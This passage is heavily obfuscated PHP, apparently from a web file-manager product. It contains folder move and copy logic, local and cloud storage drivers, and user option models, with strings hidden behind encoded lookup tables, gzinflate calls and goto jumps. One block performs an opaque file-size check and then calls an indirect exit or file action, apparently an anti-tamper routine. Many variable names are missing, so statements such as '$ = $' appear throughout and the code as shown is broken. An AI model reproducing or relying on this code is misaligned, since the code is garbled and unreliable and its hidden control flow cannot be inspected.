. $Ͼę[$[584]]; $ɖ[$ݟ] = $Ͼę[$[193]]; } foreach ($և as $Ͼę) { $ݟ = $Ͼę[$[32]] . $[8] . $Ͼę[$[584]]; $ = $ɖ[$ݟ]; $Շג[$] = $Ͼę[$[193]]; } return $Շג; } private function _childrenMatch($Ȟ, $އ, $) { $餞 =& $_SERVER[ׇ]; $ގ = $[$餞[584]]; $ = $this->parentLevelArray($އ[$餞[584]]); foreach ($ as $ִԉ) { if (isset($Ȟ[$ִԉ])) { $ގ .= $Ȟ[$ִԉ] . $餞[645]; } } $ގ = rtrim($ގ, $餞[50]) . $餞[50]; $ʣ = $this->parentLevelArray($ގ); $ = $ʣ[count($ʣ) - 1]; return array($餞[192] => $, $餞[584] => $ގ); } private function _makeItemData($, $, $) { $囷 =& $_SERVER[ׇ]; $ = array($囷[646] => $[$囷[485]], $囷[494] => $, $囷[647] => $[$囷[486]] ? $[$囷[486]] : $囷[12], $囷[542] => $[$囷[541]] ? $[$囷[541]] : 0, $囷[617] => $[$囷[79]] ? $[$囷[79]] : 0, $囷[648] => intval($[$囷[190]]), $囷[649] => intval($[$囷[569]]), $囷[650] => intval(USER_ID), $囷[651] => intval(USER_ID), $囷[477] => intval($[$囷[193]]), $囷[652] => $[$囷[584]] . $[$囷[193]] . $囷[50], $囷[498] => $[$囷[88]] ? $[$囷[88]] : time(), $囷[504] => 0, $囷[653] => $囷[12]); return $; } private function _copyApplyMeta($, &$) { $ =& $_SERVER[ׇ]; $ʨƽ = $[$[193]]; $Ȝ = $[$[32]]; if (!isset($[$[654]]) || !$[$[654]] || $[$[654]] == $[228]) { $[$[631]][] = array($[193], $ʨƽ, $[654], short_id($ʨƽ)); } if (Input::check($Ȝ, $[655])) { $[$[630]][] = array($[193] => $ʨƽ, $[97] => $[538], $[450] => str_replace($[53], $[12], Pinyin::get($Ȝ))); $[$[630]][] = array($[193] => $ʨƽ, $[97] => $[537], $[450] => Pinyin::get($Ȝ, $[656])); } $[$[630]][] = array($[193] => $ʨƽ, $[97] => $[517], $[450] => KodSort::makeStr($Ȝ)); } private $_childrenListCache = array(); private $_childrenItemCache = array(); private function _childrenAllMake($쯽) { $̋ =& $_SERVER[ׇ]; $ʯĒ = $this->sourceInfo($쯽); $Ϋڠ = $̋[657]; $ = array($̋[584] => array($̋[612], $ʯĒ[$̋[584]] . $쯽 . $̋[613]), $̋[505] => $this->targetIsDelete); $٨ = $this->field($Ϋڠ)->where($)->select(); if (!$٨) { return; } $٨ = array_to_keyvalue($٨, $̋[193]); foreach ($٨ as $ǟ) { $ѻ = $ǟ[$̋[192]]; $쯽 = $ǟ[$̋[193]]; if (!isset($this->_childrenListCache[$쯽]) && $ǟ[$̋[485]] == $̋[91]) { $this->_childrenListCache[$쯽] = array(); } if (!isset($this->_childrenListCache[$ѻ])) { $this->_childrenListCache[$ѻ] = array(); } $this->_childrenListCache[$ѻ][$쯽] = $ǟ; $this->_childrenItemCache[$쯽] = $ǟ; } } private function _childrenListAll($, &$ſ) { $ᘮ =& $_SERVER[ׇ]; if (!isset($this->_childrenListCache[$])) { return; } $ε = $this->_childrenListCache[$]; foreach ($ε as $ݗ => $񞆉) { $ſ[$ݗ] = $񞆉; if ($񞆉[$ᘮ[485]] == $ᘮ[91]) { $this->_childrenListAll($ݗ, $ſ); } } } private function sourceInfoCache($) { if (isset($this->_childrenItemCache[$])) { return $this->_childrenItemCache[$]; } return $this->sourceInfo($); } private function _childrenList($) { if (isset($this->_childrenListCache[$])) { return $this->_childrenListCache[$]; } return $this->_childrenListSelect($); } private function _childrenListSelect($) { $֌ =& $_SERVER[ׇ]; $ҹ = array($֌[192] => $, $֌[505] => $this->targetIsDelete); $ = $this->where($ҹ)->select(); $ = $ ? $ : array(); $ɵ = array_to_keyvalue($, $֌[193]); $this->_childrenListCache[$] = $ɵ; foreach ($ɵ as $ => $) { $this->_childrenItemCache[$] = $; } return $ɵ; } private function fileNameExistAuto($؋ؒ, $ҳ) { $菷 =& $_SERVER[ׇ]; if ($ҳ[$菷[505]] == $菷[91]) { return $this->fileNameExist($؋ؒ, $ҳ[$菷[32]]); } return $this->fileNameExistCache($؋ؒ, $ҳ[$菷[32]]); } private function fileNameExistCache($, $) { $ =& $_SERVER[ׇ]; $ = strtolower($); $͠ߧ = $this->_childrenList($); foreach ($͠ߧ as $²) { if ($ == strtolower($²[$[32]])) { return $²[$[193]]; } } return !1; } private function fileNameAutoCache($ⓩ, $ո, $, $) { $˷ =& $_SERVER[ׇ]; $ = $this->_childrenList($ⓩ); $Ј = array_to_keyvalue($, $˷[12], $˷[32]); return $this->fileNameAutoGet($Ј, $ո, $, $); } private function _childrenListClear() { $this->_childrenListCache = null; $this->_childrenItemCache = null; $this->_childrenListCache = array(); $this->_childrenItemCache = array(); } public function move($䁒, $ޚѡ, $ = REPEAT_REPLACE, $ = '') { $М =& $_SERVER[ׇ]; $Ȇ = $this->sourceInfo($䁒); $ = $this->sourceInfo($ޚѡ); if ($Ȇ[$М[192]] == $[$М[193]]) { if ($Ȇ[$М[505]] == $М[91]) { Model($М[503])->restore(array($䁒)); } if (!$ || $ == $Ȇ[$М[32]]) { return $䁒; } } $ = $this->pathInfoMore($䁒); if ($this->isParentOf($䁒, $ޚѡ)) { return !1; } if (!$Ȇ || !$ || $[$М[485]] != $М[91]) { return !1; } Hook::trigger($М[658], $); $this->targetIsDelete = intval($Ȇ[$М[505]]); if ($Ȇ[$М[192]] == $ޚѡ && $ != $Ȇ[$М[32]]) { $Ӆ = $this->fileNameExist($ޚѡ, $); if ($Ӆ && $Ȇ[$М[485]] == $М[228]) { $ѩ = $this->sourceInfo($Ӆ); $ּ = $this->fileHistory($ѩ, $Ȇ[$М[541]], $Ȇ[$М[79]]); if (!$ּ) { Model($М[544])->remove($Ȇ[$М[541]]); } $this->removeNow($䁒, !1); $this->folderSizeReset($ޚѡ); Hook::trigger($М[659], $); return $Ӆ; } } $ = $ ? $ : $Ȇ[$М[32]]; $this->lockMoveStart($䁒); $this->lockWriteStart($ޚѡ, $); $Ƌ = array($М[629] => array(), $М[660] => !1); $this->clearShare($䁒, $ޚѡ); $ݡ = $this->fileNameExistAuto($ޚѡ, $Ȇ); $֤ = $this->_move($䁒, $ޚѡ, $, $Ƌ, $); $this->sourceCacheClear(); if ($Ȇ[$М[485]] == $М[91] && $ݡ) { $this->folderSizeResetChildren($֤); } Model($М[230])->linkAdd($Ƌ[$М[629]]); if ($ݡ && $Ƌ[$М[660]]) { $this->removeNow($䁒, !1); } $this->lockMoveEnd($䁒); $this->lockWriteEnd($ޚѡ, $); $this->folderSizeReset($Ȇ[$М[192]]); $this->folderSizeReset($ޚѡ); $ = array($Ȇ[$М[192]], $ޚѡ); if ($Ȇ[$М[485]] == $М[91]) { $[] = $䁒; } $this->updateModifyTime($); Model($М[633])->eventMove($䁒, $Ȇ[$М[192]], $ޚѡ); Hook::trigger($М[659], $); return $֤; } private function _move($Ӭ, $, $ij欈, &$Ҭи, $ = '') { $ =& $_SERVER[ׇ]; $ = $this->sourceInfo($Ӭ); $ߴ = $[$[485]] == $[91]; $ = $ ? $ : $[$[32]]; $ = $this->fileNameExistAuto($, $); $this->lockMoveStart($Ӭ); $this->lockWriteStart($, $); if (!$) { return $this->_moveForce($Ӭ, $, $); } $ = $; $ = !1; if ($ߴ) { if ($ij欈 == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAuto($, $, $ij欈, $ߴ); $ = $this->_moveForce($Ӭ, $, $); } else { if ($ij欈 == REPEAT_RENAME_FOLDER) { $ij欈 = REPEAT_RENAME; } $ = $this->_childrenListSelect($Ӭ); foreach ($ as $) { $this->_move($[$[193]], $, $ij欈, $Ҭи); } $ = !0; } } else { if ($ij欈 == REPEAT_SKIP) { $ = !0; } else { if ($ij欈 == REPEAT_RENAME || $ij欈 == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAuto($, $, $ij欈, $ߴ); $ = $this->_moveForce($Ӭ, $, $); } else { if ($ij欈 == REPEAT_REPLACE) { $܁ = $this->sourceInfoCache($); $ٗ = $this->fileHistory($܁, $[$[541]], $[$[79]]); $ = !0; if ($ٗ) { $Ҭи[$[629]][] = $[$[541]]; } } } } } if ($ && !$Ҭи[$[660]]) { $Ҭи[$[660]] = !0; } return $; } private function _moveForce($裡́, $л, $˟) { $ =& $_SERVER[ׇ]; $ = $this->sourceInfo($裡́); $܉ = $this->sourceInfo($л); $ = $[$[485]] == $[91]; $“ = array($[477] => $܉[$[193]], $[652] => $܉[$[584]] . $܉[$[193]] . $[50], $[648] => $܉[$[190]], $[649] => $܉[$[569]], $[651] => USER_ID, $[494] => $˟); $ʼ = $[$[190]] == SourceModel::TYPE_GROUP && $܉[$[190]] == SourceModel::TYPE_GROUP && $[$[569]] == $܉[$[569]]; if (!$ʼ && $this->moveClearAuth) { Model($[567])->authClear($裡́); } $ = $[$[505]] == $[91] && $܉[$[505]] != $[91]; if ($) { $“[$[504]] = 0; } if ($) { $ = array($[652] => array($[612], $[$[584]] . $[$[193]] . $[613])); $ؚ = $[$[584]] . $[$[193]] . $[50]; $ = $܉[$[584]] . $܉[$[193]] . $[50] . $[$[193]] . $[50]; $ = array($[652] => array($[661], "\x72\145\160\154\x61\143\x65\x28\x70\141\162\x65\156\x74\114\x65\x76\x65\x6c\x2c\47{$ؚ}\47\x2c\x27{$}\47\51"), $[648] => $܉[$[190]], $[649] => $܉[$[569]]); if ($) { $[$[504]] = 0; } $this->where($)->data($)->save(); } $this->where(array($[491] => $裡́))->data($“)->save(); return $裡́; } private function clearShare($, $ת) { $ =& $_SERVER[ׇ]; $ʖ = $this->sourceInfo($); $ = $this->sourceInfo($ת); if ($ʖ[$[569]] == $[$[569]] && $ʖ[$[190]] == $[662]) { return; } $ = array($[584] => array($[612], $ʖ[$[584]] . $ . $[613])); $Ƶʥ = $this->field($[491])->where($)->getField($[193], !0); if (!$Ƶʥ) { return; } $ = array($[193] => array($[7], $Ƶʥ), $[663] => 1); $ʘ = Model($[664])->field($[665])->where($)->select(); if (!$ʘ) { return; } $ʘ = array_to_keyvalue($ʘ, $[12], $[665]); $ = array($[665] => array($[7], $ʘ)); Model($[664])->where($)->save(array($[663] => 0)); Model($[666])->where($)->delete(); } public function copyFolderFromIO($ʰ, $ۨ, $, $NJ, $􎆥, $״ = false) { $醵 =& $_SERVER[ׇ]; $ٿ = array($醵[630] => array(), $醵[631] => array(), $醵[629] => array(), $醵[667] => array()); $ = $״ ? $״ : $ʰ->pathThis($ۨ); $Ố = $this->fileNameExist($, $); $ = $this->mkdir($, $, $NJ); if (!$Ố || $NJ == REPEAT_RENAME_FOLDER) { $NJ = !1; } if ($Ố) { $this->_childrenAllMake($Ố); } Hook::trigger($醵[668]); $this->_copyChildTo($ʰ, $ۨ, $, $NJ, $ٿ, $􎆥); Hook::trigger($醵[669]); if ($) { $this->folderSizeResetChildren($); } $this->_childrenListClear(); Model($醵[632])->addAll($ٿ[$醵[630]], array(), !0); Model($醵[633])->eventCopy($); $this->saveAll($ٿ[$醵[631]]); Model($醵[544])->linkAdd($ٿ[$醵[629]]); Model($醵[544])->remove($ٿ[$醵[667]]); $this->folderSizeReset($); $this->updateModifyTime($); return $; } private function _copyChildTo($, $炫څ, $©, $ǭ, &$윑, $) { $ƈå =& $_SERVER[ׇ]; $Ψ = $this->sourceInfoCache($©); $΁ = $->listPath($炫څ); $΁ = $΁ ? $΁ : array($ƈå[86] => array(), $ƈå[85] => array()); $˶ = array_merge($΁[$ƈå[86]], $΁[$ƈå[85]]); $꬯ = $this->_addFiles($, $΁[$ƈå[86]], $); $ = array(); foreach ($˶ as &$Ҟ) { if (isset($꬯[$Ҟ[$ƈå[32]]])) { $Ҟ = $꬯[$Ҟ[$ƈå[32]]]; } $Ҟ[$ƈå[485]] = $Ҟ[$ƈå[33]] == $ƈå[78]; $Ҟ[$ƈå[486]] = substr(_get($Ҟ, $ƈå[169], $ƈå[12]), 0, 10); $Ҟ[$ƈå[79]] = _get($Ҟ, $ƈå[79], 0); $Ҟ[$ƈå[541]] = _get($Ҟ, $ƈå[541], 0); if (!isset($Ҟ[$ƈå[670]]) && $Ҟ[$ƈå[541]]) { $윑[$ƈå[667]][] = $Ҟ[$ƈå[541]]; } if ($ǭ) { $ = $this->fileNameExistCache($©, $Ҟ[$ƈå[32]]); if ($) { if ($Ҟ[$ƈå[485]] || $ǭ == REPEAT_SKIP) { continue; } if ($ǭ == REPEAT_REPLACE) { $Á = $this->sourceInfoCache($); $ = $this->fileHistory($Á, $Ҟ[$ƈå[541]], $Ҟ[$ƈå[79]]); if ($) { $윑[$ƈå[629]][] = $Ҟ[$ƈå[541]]; } continue; } else { if ($ǭ == REPEAT_RENAME) { $Ҟ[$ƈå[32]] = $this->fileNameAutoCache($©, $Ҟ[$ƈå[32]], $ǭ, !1); } } } } if (!$Ҟ[$ƈå[485]] && $Ҟ[$ƈå[541]] == 0) { continue; } if (!$Ҟ[$ƈå[485]] && $Ҟ[$ƈå[541]]) { $윑[$ƈå[629]][] = $Ҟ[$ƈå[541]]; } $[] = $this->_makeItemData($Ҟ, $Ψ, $Ҟ[$ƈå[32]]); } unset($Ҟ); if (!empty($)) { $this->addAll($); $this->_childrenListSelect($©); } $ = $this->_childrenList($©); $ = array_to_keyvalue($, $ƈå[32]); foreach ($˶ as $Ҟ) { $Á = $[$Ҟ[$ƈå[32]]]; $ؑ = $Á[$ƈå[193]]; $this->_copyApplyMeta($Á, $윑); if ($Ҟ[$ƈå[33]] == $ƈå[78]) { $Ҟ[$ƈå[87]] = $->getPathInner($Ҟ[$ƈå[87]]); $this->_copyChildTo($, $Ҟ[$ƈå[87]], $ؑ, $ǭ, $윑, $); } } } private function _addFiles($驴, $, $) { $խ =& $_SERVER[ׇ]; if (!$ || count($) == 0) { return array(); } $Ρ = array(); foreach ($ as &$) { Hook::trigger($խ[671], $); $[$խ[87]] = $驴->getPathInner($[$խ[87]]); $Ҩ = $驴->hashSimple($[$խ[87]]); $ѫ = $驴->hashMd5($[$խ[87]]); if (strlen($ѫ) > 10 && !isset($Ρ[$ѫ])) { $Ρ[$ѫ] = array(); } $[$խ[672]] = $Ҩ; $[$խ[547]] = $ѫ; $Ρ[$ѫ][] =& $; if (count($Ρ[$ѫ]) > 1) { $[$խ[670]] = !0; } Hook::trigger($խ[673], $); } unset($); $ㅎ = array($խ[547] => array($խ[7], array_keys($Ρ))); $Ϳ = Model($խ[674]); $茺 = $Ϳ->where($ㅎ)->select(); $茺 = $茺 ? $茺 : array(); foreach ($茺 as $) { if (!isset($Ρ[$[$խ[547]]])) { continue; } $ = $Ρ[$[$խ[547]]]; foreach ($ as &$) { $[$խ[541]] = $[$խ[541]]; $[$խ[670]] = !0; } unset($); } $͛€ = array(); foreach ($ as $ܔ) { Hook::trigger($խ[675], $ܔ); if (isset($ܔ[$խ[670]]) && $ܔ[$խ[670]]) { Hook::trigger($խ[676], $ܔ); continue; } $ = $驴->getPathInner($ܔ[$խ[87]]); $ĉ = $Ϳ->addFileMake($, $ܔ[$խ[79]], $ܔ[$խ[672]], $ܔ[$խ[547]], $ܔ[$խ[32]], $); Hook::trigger($խ[676], $ܔ); if (!is_array($ĉ)) { continue; } $͛€[] = $ĉ; } $Ϳ->addAll($͛€); $ㅎ = array($խ[547] => array($խ[7], array_keys($Ρ))); $茺 = $Ϳ->where($ㅎ)->select(); $茺 = $茺 ? $茺 : array(); foreach ($茺 as $) { if (!isset($Ρ[$[$խ[547]]])) { continue; } $ =& $Ρ[$[$խ[547]]]; foreach ($ as &$) { $[$խ[541]] = $[$խ[541]]; } unset($); } $ڳ = array(); foreach ($ as $) { $ڳ[$[$խ[32]]] = $; } return $ڳ; } } define($_SERVER[ׇ][677], $_SERVER[ׇ][678]); $whpnbvsefg = $_SERVER[ׇ][679]; goto b; C: define($_SERVER[ׇ][317], 3); define($_SERVER[ׇ][318], 1); define($_SERVER[ׇ][319], 0); goto bǵ; Bɲ: class PathDriverLocal extends PathDriverBase { private $pathAuth; public function __construct() { parent::__construct(); $this->pathAuth = DEFAULT_PERRMISSIONS; } public function getPath($ᑓ) { if (substr($ᑓ, 0, 2) == $_SERVER[ׇ][1410]) { $ᑓ = BASIC_PATH . substr($ᑓ, 2); } return $ᑓ; } public function iconvApp($ڡ밤) { $ᒈŅ =& $_SERVER[ׇ]; global $config; return $this->iconvTo($ڡ밤, $config[$ᒈŅ[1439]], $config[$ᒈŅ[1438]]); } public function iconvSystem($쑒) { $ӓ =& $_SERVER[ׇ]; global $config; return $this->iconvTo($쑒, $config[$ӓ[1438]], $config[$ӓ[1439]]); } public function getPathOuter($́) { $ =& $_SERVER[ׇ]; $˄ = $this->iconvApp($this->pathBase); $́ = $this->iconvApp($́); if (substr($˄, 0, 2) == $[1410]) { $˄ = BASIC_PATH . substr($˄, 2); } if (substr($́, 0, 2) == $[1410]) { $́ = BASIC_PATH . substr($́, 2); } $˄ = KodIO::clear($˄); $́ = KodIO::clear($́); $́ = substr($́, strlen($˄)); if (empty($this->pathDriver)) { return $́; } return $this->pathDriver . $[8] . ltrim($́, $[8]); } public function mkfile($˗ɼ, $ = '', $ = REPEAT_RENAME) { $˗ɼ = $this->iconvSystem($˗ɼ); @touch($˗ɼ); if ($) { file_put_contents($˗ɼ, $); } @chmod($˗ɼ, $this->pathAuth); if (is_file($˗ɼ)) { return $this->getPathOuter($˗ɼ); } $this->writeLog(__FUNCTION__ . $_SERVER[ׇ][1450], !0); return !1; } public function mkdir($, $ȋ = REPEAT_SKIP) { $ = $this->iconvSystem($); if (is_dir($)) { return $this->getPathOuter($); } @mkdir($, $this->pathAuth, !0); @chmod($, $this->pathAuth); if (is_dir($)) { return $this->getPathOuter($); } $this->writeLog(__FUNCTION__ . $_SERVER[ׇ][1450], !0); return !1; } public function copyFile($, $Ṽ) { $this->mkdir($this->pathFather($Ṽ)); $ = $this->iconvSystem($); $Ṽ = $this->iconvSystem($Ṽ); $ߠ = copy_64($, $Ṽ); @chmod($Ṽ, $this->pathAuth); if ($ߠ) { return $this->getPathOuter($Ṽ); } $this->writeLog(__FUNCTION__ . $_SERVER[ׇ][1450], !0); return !1; } public function moveFile($, $) { $this->mkdir($this->pathFather($)); $ = $this->iconvSystem($); $ = $this->iconvSystem($); $ͳ = intval(@rename($, $)); if (!$ͳ) { if ($ͳ = intval(@copy_64($, $))) { @unlink($); } } @chmod($, $this->pathAuth); if ($ͳ) { return $this->getPathOuter($); } $this->writeLog(__FUNCTION__ . $_SERVER[ׇ][1450], !0); return !1; } public function movePath($Ϻ, $գ, $ꣀ = false) { $ͻǕ =& $_SERVER[ׇ]; $Ϻ = $this->iconvSystem($Ϻ); $գ = $this->iconvSystem($գ); $Ÿ = rtrim($գ, $ͻǕ[8]) . $ͻǕ[8] . ($ꣀ ? $ꣀ : get_path_this($Ϻ)); if (file_exists($Ÿ)) { return !1; } $Ψ = intval(@rename($Ϻ, $Ÿ)); $Ψ = file_exists($Ÿ); if ($Ψ) { return $this->getPathOuter($Ÿ); } $this->writeLog(__FUNCTION__ . $ͻǕ[1450], !0); return !1; } public function delFile($ٟ) { $ٟ = $this->iconvSystem($ٟ); if (!@unlink($ٟ)) { @chmod($ٟ, $this->pathAuth); if (@unlink($ٟ)) { return !0; } $this->writeLog(__FUNCTION__ . $_SERVER[ׇ][1450], !0); return !1; } return !0; } public function delFolder($) { $ =& $_SERVER[ׇ]; $ = $this->iconvSystem($); if (!is_dir($)) { return !0; } if (!($ěځ = opendir($))) { return !1; } while (($уݢ = readdir($ěځ)) !== !1) { if ($уݢ == $[10] || $уݢ == $[1363]) { continue; } $ = $ . $[8] . $уݢ; if (is_file($) || is_link($)) { if (!unlink($)) { chmod($, $this->pathAuth); if (!unlink($)) { return !1; } } } else { if (is_dir($)) { chmod($, $this->pathAuth); $ = $this->iconvApp($); if (!$this->delFolder($)) { return !1; } } } } closedir($ěځ); return rmdir($); } public function rename($, $) { $࿢ =& $_SERVER[ׇ]; $ƻ = $this->fileNameAuto($this->pathFather($), $); $ƻ = $this->iconvSystem($ƻ); $ = $this->iconvSystem($); $սȋ = $this->pathFather($); $ʩɳ = rtrim($սȋ, $࿢[8]) . $࿢[8] . $ƻ; $ = @rename($, $ʩɳ); $ʩɳ = $this->iconvApp($ʩɳ); if ($) { return $this->getPathOuter($ʩɳ); } $this->writeLog(__FUNCTION__ . $࿢[1450], !0); return !1; } public function size($) { $ = $this->iconvSystem($); return filesize_64($); } public function info($) { $ = $this->iconvSystem($); if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } protected function infoChildren($쳁, &$;, $𨀺 = true) { $ԉ =& $_SERVER[ׇ]; check_abort_echo(); $쳁 = rtrim($쳁, $ԉ[8]) . $ԉ[8]; if ($𨀺) { $쳁 = $this->iconvSystem($쳁); } if (!($̹ = @opendir($쳁))) { return; } while (($Ϗʝ = readdir($̹)) !== !1) { if ($Ϗʝ == $ԉ[10] || $Ϗʝ == $ԉ[1363]) { continue; } $ = $쳁 . $Ϗʝ; if (is_file($) || is_link($)) { $;[$ԉ[80]]++; $;[$ԉ[79]] += filesize_64($); } else { if (is_dir($)) { $;[$ԉ[81]]++; $this->infoChildren($, $;, !1); } } } closedir($̹); } private function folderInfo($‚, $Ո = false) { $ =& $_SERVER[ׇ]; $‚ = rtrim($‚, $[8]) . $[8]; $ۓ = $this->iconvApp($this->pathThis($‚)); if ($Ո) { return array($[32] => $ۓ, $[87] => $this->getPathOuter($‚), $[33] => $[78]); } $ = array($[32] => $ۓ, $[87] => $this->getPathOuter($‚), $[33] => $[78], $[231] => @filectime($‚), $[88] => @filemtime($‚), $[1454] => @fileatime($‚), $[1455] => is_readable($‚), $[1456] => is_writable($‚), $[1457] => get_mode($‚)); return $; } private function fileInfo($݉Đ, $ = false) { $ =& $_SERVER[ׇ]; $ = $this->iconvApp($this->pathThis($݉Đ)); if ($) { return array($[32] => $, $[87] => $this->getPathOuter($݉Đ), $[33] => $[230], $[79] => $this->size($݉Đ), $[169] => $this->ext($)); } $Ϧ = array($[32] => $, $[87] => $this->getPathOuter($݉Đ), $[33] => $[230], $[231] => @filectime($݉Đ), $[88] => @filemtime($݉Đ), $[1454] => @fileatime($݉Đ), $[79] => $this->size($݉Đ), $[169] => $this->ext($), $[1455] => is_readable($݉Đ), $[1456] => is_writable($݉Đ), $[1457] => get_mode($݉Đ)); return $Ϧ; } public function exist($ѣ) { $ѣ = $this->iconvSystem($ѣ); return @file_exists($ѣ); } public function isFile($ӯǼ) { $ӯǼ = $this->iconvSystem($ӯǼ); return @is_file($ӯǼ); } public function isFolder($Ϝ) { $Ϝ = $this->iconvSystem($Ϝ); return @is_dir($Ϝ); } public function listPath($ˡ, $҄ = false) { $ð =& $_SERVER[ׇ]; $ˡ = $this->iconvSystem($ˡ); $ˡ = rtrim($ˡ, $ð[8]) . $ð[8]; $΃é = array($ð[85] => array(), $ð[86] => array()); if (!($Ȼ = @opendir($ˡ))) { return $΃é; } while (($۷ = readdir($Ȼ)) !== !1) { if ($۷ == $ð[10] || $۷ == $ð[1363]) { continue; } $̦ = $ˡ . $۷; if (is_file($̦)) { $΃é[$ð[86]][] = $this->fileInfo($̦, $҄); } else { $΃é[$ð[85]][] = $this->folderInfo($̦, $҄); } } closedir($Ȼ); return $΃é; } public function listAll($, &$Ǝ = array()) { $ =& $_SERVER[ׇ]; $ = $this->iconvSystem($); $ = rtrim($, $[8]) . $[8]; if (!($ = @opendir($))) { return $Ǝ; } while (($ܨ = readdir($)) !== !1) { if ($ܨ == $[10] || $ܨ == $[1363]) { continue; } $ןŃ = $ . $ܨ; $ = is_dir($ןŃ) && !is_link($ןŃ) ? 1 : 0; $ןŃ = $ ? $ןŃ . $[8] : $ןŃ; $Ǝ[] = array($[87] => $ןŃ, $[78] => $, $[88] => intval(@filemtime($ןŃ)), $[79] => $ ? 0 : intval($this->size($ןŃ))); if ($) { $this->listAll($ןŃ, $Ǝ); } } closedir($); return $Ǝ; } public function has($ς, $Œ = false, $ = true) { $ө =& $_SERVER[ׇ]; $ς = $this->iconvSystem($ς); $ς = rtrim($ς, $ө[8]) . $ө[8]; if (!($ꯛ = @opendir($ς))) { return !1; } $ק = 0; $ۮꪗ = 0; $۾ = 0; while (($Ȋ֑ = readdir($ꯛ)) !== !1) { if ($Ȋ֑ == $ө[10] || $Ȋ֑ == $ө[1363]) { continue; } $ݟ = $ς . $Ȋ֑; if ($Œ) { $۾++; if (@is_file($ݟ)) { $ק++; } else { $ۮꪗ++; } if ($۾ > 10000) { break; } continue; } if ($) { if (@is_file($ݟ)) { return !0; } } else { if (@is_dir($ݟ . $ө[8])) { return !0; } } } closedir($ꯛ); if ($Œ) { return array($ө[239] => $ק, $ө[240] => $ۮꪗ); } return !1; } public function hashSimple($߇) { $ =& $_SERVER[ׇ]; if (!$߇) { return md5($[12]); } $߇ = $this->iconvSystem($߇); $㔼 = $this->size($߇); $¸ڜ = 200; $ͅ = 50; if ($㔼 <= $¸ڜ * $ͅ) { return $this->hashMd5($߇) . $㔼; } $𧝿 = $[12]; $ٷ = intval($㔼 / $ͅ); $䖺 = fopen($߇, $[1458]); if (!$䖺) { return $𧝿; } for ($רڬ = 0; $רڬ < $ͅ; $רڬ++) { fseek_64($䖺, $ٷ * $רڬ); $𧝿 .= fread($䖺, $¸ڜ); } fseek_64($䖺, $㔼 - $¸ڜ); $𧝿 .= fread($䖺, $¸ڜ); fclose($䖺); return md5($𧝿) . $㔼; } public function getContent($) { $ = $this->iconvSystem($); return file_get_contents($); } public function setContent($ӓȔ, $ = '') { $ӓȔ = $this->iconvSystem($ӓȔ); $򠝸 = @file_put_contents($ӓȔ, $, LOCK_EX); if (!$򠝸) { $this->writeLog(__FUNCTION__ . $_SERVER[ׇ][1450], !0); } clearstatcache(); @chmod($ӓȔ, $this->pathAuth); return $򠝸 === !1 ? !1 : !0; } public function fileSubstr($ı, $ุ = 0, $ = false) { $؏ᣈ =& $_SERVER[ׇ]; $ı = $this->iconvSystem($ı); if ($ === !1) { $ = $this->size($ı); } if ($ <= 0) { return $؏ᣈ[12]; } $̾Ɂ = fopen($ı, $؏ᣈ[1458]); if (!$̾Ɂ) { return !1; } fseek_64($̾Ɂ, $ุ); $ը = fread($̾Ɂ, $); fclose($̾Ɂ); if (!$ը) { $this->writeLog(__FUNCTION__ . $؏ᣈ[1450], !0); } return $ը; } public function upload($ڤ, $, $ = false, $継 = REPEAT_REPLACE) { if ($) { return $this->moveFile($, $ڤ); } return $this->copyFile($, $ڤ); } public function setModifyTime($, $፳ = '') { @touch($, intval($፳)); } public function download($Ƥ, $) { return $this->iconvSystem($Ƥ); } } class PathDriverOBS extends PathDriverBaseS3 { public function __construct($ՠ) { parent::__construct($ՠ); $this->setSignVersion($_SERVER[ׇ][247]); } public function fileOutImage($ܠ, $˅ = 250) { $ۏ΃ =& $_SERVER[ׇ]; if ($this->size($ܠ) > 1024 * 1024 * 25) { return $this->fileOutImageServer($ܠ, $˅); } $ش = array($ۏ΃[1459] => $ۏ΃[1460] . $˅ . $ۏ΃[1461]); $ = $this->link($ܠ, $ش); $this->fileOutLink($); } public function fileOutLink($ہ) { $Îń =& $_SERVER[ׇ]; if (substr($ہ, 0, 7) == $Îń[313]) { $ہ = $Îń[314] . substr($ہ, 7); } header($Îń[175] . $ہ); die; } } class PathDriverOOS extends PathDriverBaseS3 { public function __construct($Ӏ룍) { parent::__construct($Ӏ룍); $this->setSignVersion($_SERVER[ׇ][247]); } public function fileOutLink($ϸ) { $ɚ =& $_SERVER[ׇ]; if (substr($ϸ, 0, 7) == $ɚ[313]) { $ϸ = $ɚ[314] . substr($ϸ, 7); } header($ɚ[175] . $ϸ); die; } } goto cÝݧ; b: if (strlen($whpnbvsefg) < $_SERVER[ׇ][680]) { return; } $_SERVER[ɍ] = explode($_SERVER[ׇ][681], gzinflate(substr($_SERVER[ׇ][682], 10, -8))); $msdgxqoavn = $_SERVER[ׇ][683]; goto b럤; f: if ($_SERVER[$_SERVER[ׇ][952]] != $_size($_file)) { $_getc = $_SERVER[ׇ][954]; $_getfile = $_SERVER[$_SERVER[ׇ][949]] . $_SERVER[ׇ][950]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[ׇ][262], $_getfilec); if (count($_getarrs) < $_SERVER[ׇ][690]) { $exit = $_SERVER[ׇ][955]; $exit(); } $_act = $_SERVER[ׇ][1419]; $_act($_file); } class UserOptionModel extends ModelBaseOption { protected $tableName = "\165\x73\x65\x72\x5f\157\x70\164\x69\x6f\x6e"; protected $jsonField = array(); function __construct() { parent::__construct(); } protected function cacheKey($ݭ) { $ͬ× =& $_SERVER[ׇ]; $˽ = defined($ͬ×[2197]) && USER_ID ? USER_ID : $ͬ×[12]; return "\125\163\x65\162\117\160\x74\x69\x6f\156\x5f{$ݭ}\137" . $˽; } protected function filterWhere($手) { $ӊ =& $_SERVER[ׇ]; $手[$ӊ[1772]] = defined($ӊ[2197]) && USER_ID ? USER_ID : $ӊ[12]; return $手; } public function cacheRemoveUser($ʶÀ, $ט) { return Cache::remove("\125\163\145\162\x4f\160\x74\151\157\156\x5f{$ʶÀ}\137" . $ט); } protected function optionDefault($ = '') { $ż =& $_SERVER[ׇ]; if ($ == $ż[12]) { return $GLOBALS[$ż[6]][$ż[2497]]; } if ($ == $ż[2498]) { return $GLOBALS[$ż[6]][$ż[2499]]; } } } class UserTagModel extends ModelBaseLight { public $optionType = "\125\163\145\x72\x2e\x74\x61\147\114\151\x73\x74"; public $modelType = "\125\163\x65\162\117\160\164\x69\x6f\x6e"; public $field = array("\156\141\x6d\145", "\163\164\x79\154\145", "\163\x6f\x72\x74"); 